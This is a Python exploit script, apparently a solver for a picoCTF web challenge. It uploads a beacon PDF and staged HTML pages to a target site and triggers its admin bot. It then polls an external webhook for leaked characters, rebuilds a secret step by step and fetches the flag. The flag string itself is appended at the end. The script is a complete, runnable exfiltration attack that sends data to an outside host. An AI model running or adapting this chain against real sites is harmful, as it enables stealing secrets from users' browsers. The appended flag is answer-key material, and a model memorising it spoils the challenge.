def upload_stage_batch(opener, base, prefix, suffix, beacon_id, stage, exp_first, next_main, delay): helper_ids, observed = {}, set() def upload_helper(hi): return hi, upload_bytes(opener, base, build_helper_page_for_hi(prefix,suffix,hi,beacon_id,stage), "text/html", f"s{stage}-{hi}.html") with concurrent.futures.ThreadPoolExecutor(max_workers=16) as pool: for f in concurrent.futures.as_completed([pool.submit(upload_helper,h) for h in HEX]): hi, hid = f.result(); observed.add(hid); helper_ids[hi] = hid expected = set(range(exp_first, exp_first+HELPERS_PER_STAGE)) if observed != expected: raise RuntimeError(f"id mismatch: {sorted(observed)} != {sorted(expected)}") exp_main = exp_first + HELPERS_PER_STAGE main_id = upload_bytes(opener, base, build_main_stage_page([helper_ids[h] for h in HEX], next_main, delay), "text/html", f"stage{stage}.html") if main_id != exp_main: raise RuntimeError(f"main id {main_id} != {exp_main}") return main_id
def wait_for_stage(token, seen, stage, timeout, poll): deadline = time.monotonic() + timeout; pv = sv = "" while time.monotonic() < deadline: for item in reversed(list_webhook_requests(token)): rid = item["uuid"] if rid in seen: continue seen.add(rid); q = item.get("query") or {} if str(q.get("s")) != str(stage): continue d, c = q.get("d"), q.get("c") if c not in PAIR_SET: continue if d == "p": pv = c elif d == "s": sv = c if pv and sv: return pv, sv time.sleep(poll) raise TimeoutError(f"stage {stage}: prefix={pv!r} suffix={sv!r}")
def main(): ap = argparse.ArgumentParser() ap.add_argument("--base-url", required=True); ap.add_argument("--insecure", action="store_true") ap.add_argument("--initial-delay", type=float, default=5.0); ap.add_argument("--delay", type=float, default=6.5) ap.add_argument("--poll-timeout", type=float, default=15.0); ap.add_argument("--poll-interval", type=float, default=0.1) ap.add_argument("--webhook-token") args = ap.parse_args(); opener = build_opener(args.insecure); base = args.base_url.rstrip("/") token = args.webhook_token or create_webhook_token(); log(f"[+] webhook token: {token}") beacon_id = upload_bytes(opener, base, build_beacon_pdf(token), "application/pdf", "beacon.pdf") log(f"[+] beacon pdf: /paper/{beacon_id}") prefix = suffix = "" cur = upload_stage_batch(opener, base, prefix, suffix, beacon_id, 0, beacon_id+1, beacon_id+(2*STAGE_STRIDE) if STAGE_COUNT>1 else None, args.initial_delay) log(f"[+] stage 0 page: /paper/{cur}") s, _, body = http_text(opener, "GET", urllib.parse.urljoin(base+"/", f"visit/{cur}")) log(f"[+] visit response: {s} {body.strip()!r}") if "visiting!" not in body: raise RuntimeError(f"visit failed: {s} {body!r}") seen = set() for stage in range(STAGE_COUNT): t0 = time.monotonic(); pv, sv = wait_for_stage(token, seen, stage, args.poll_timeout, args.poll_interval) prefix += pv; suffix = sv + suffix log(f"[+] stage {stage:02d}: prefix={prefix} suffix={suffix} ({time.monotonic()-t0:.2f}s)") if stage == STAGE_COUNT-1: break nf = cur+1; nm = cur+STAGE_STRIDE; fm = nm+STAGE_STRIDE if stage < STAGE_COUNT-2 else None cur = upload_stage_batch(opener, base, prefix, suffix, beacon_id, stage+1, nf, fm, args.delay) if cur != nm: raise RuntimeError(f"stage id {cur} != {nm}") log(f"[+] uploaded stage {stage+1} page: /paper/{cur}") secret = prefix + suffix; log(f"[+] recovered secret: {secret}") s, _, flag = http_text(opener, "GET", urllib.parse.urljoin(base+"/", "flag?"+urllib.parse.urlencode({"secret":secret}))) log(f"[+] flag response ({s}): {flag.strip()}") return 0
if __name__ == "__main__": raise SystemExit(main())picoCTF{i_l1ke_frames_on_my_canvas_953d5fff}